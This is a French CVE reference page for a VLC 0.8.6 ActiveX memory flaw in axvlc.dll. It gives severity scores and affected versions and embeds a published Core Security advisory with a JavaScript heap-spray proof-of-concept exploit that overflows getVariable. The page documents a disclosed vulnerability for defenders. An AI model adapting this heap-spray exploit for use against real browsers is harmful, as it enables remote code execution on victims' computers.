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Descriptions du CVE
A certain ActiveX control in axvlc.dll in VideoLAN VLC 0.8.6 before 0.8.6d allows remote attackers to execute arbitrary code via crafted arguments to the (1) addTarget, (2) getVariable, or (3) setVariable function, resulting from a "bad initialized pointer," aka a "recursive plugin release vulnerability."
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 6.8 | AV:N/AC:M/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 4688
Date de publication : 2007-12-03 23h00 +00:00
Auteur : Ricardo Narvaja
EDB Vérifié : Yes
<!--
Core Security Technologiess - CoreLabs Advisory
http://www.coresecurity.com/corelabs
VLC Activex Bad Pointer Initialization Vulnerability
*Advisory Information*
Title: VLC Activex Bad Pointer Initialization Vulnerability
Advisory ID: CORE-2007-1004
Advisory URL: http://www.coresecurity.com/?action=item&id=2035
Date published: 2007-12-04
Date of last update: 2007-12-03
Vendors contacted: VLC
Release mode: Coordinated Release
*Vulnerability Description*
VLC player is a popular multimedia player for various audio and video
formats, and various streaming protocols.
A vulnerability has been found in the ActiveX control DLL (axvlc.dll)
used by VLC player. This library contains three methods whose parameters
are not correctly checked, and may produce a bad initialized pointer. By
providing these functions specially crafted parameters, an attacker can
overwrite memory zones and execute arbitrary code.
*Vulnerable packages*
VLC media player version 0.86, 0.86a, 0.86b y 0.86c.
-->
<html>
<head>
<object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8'
id='target' ></object>
</head>
<body>
<script>
var mm = null;
if( target != null )
{
var param1 = unescape("%u0505%u0505");
var salame = "defaultV";
var salame2 = 1;
var salame3 = 0;
ag = unescape("%uCCCC%uCCCC");
sh =
unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%");
sz = sh.length * 2;
npsz = 0x400000 - (sz + 0x38);
nps = unescape("%u0505%u0505");
while(nps.length * 2 < npsz) nps += nps;
ihbc = (0x0E000000 - 0x400000) / 0x400000;
mm = new Array();
for(i = 0; i <= ihbc; i++) mm[i] = nps + sh;
for(var i=0;i<2000;i++)
param1 = param1 + unescape("%u0505%u0505");
target.getVariable (param1);
}
</script>
</body>
</html>
# milw0rm.com [2007-12-04]
Products Mentioned
Configuraton 0
Videolan>>Vlc_media_player >> Version 0.8.6
- Videolan>>Vlc_media_player >> Version 0.8.6 (Open CPE detail)
Videolan>>Vlc_media_player >> Version 0.8.6a
- Videolan>>Vlc_media_player >> Version 0.8.6a (Open CPE detail)
Videolan>>Vlc_media_player >> Version 0.8.6b
- Videolan>>Vlc_media_player >> Version 0.8.6b (Open CPE detail)
Références
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14280
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
http://www.securityfocus.com/archive/1/484563/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
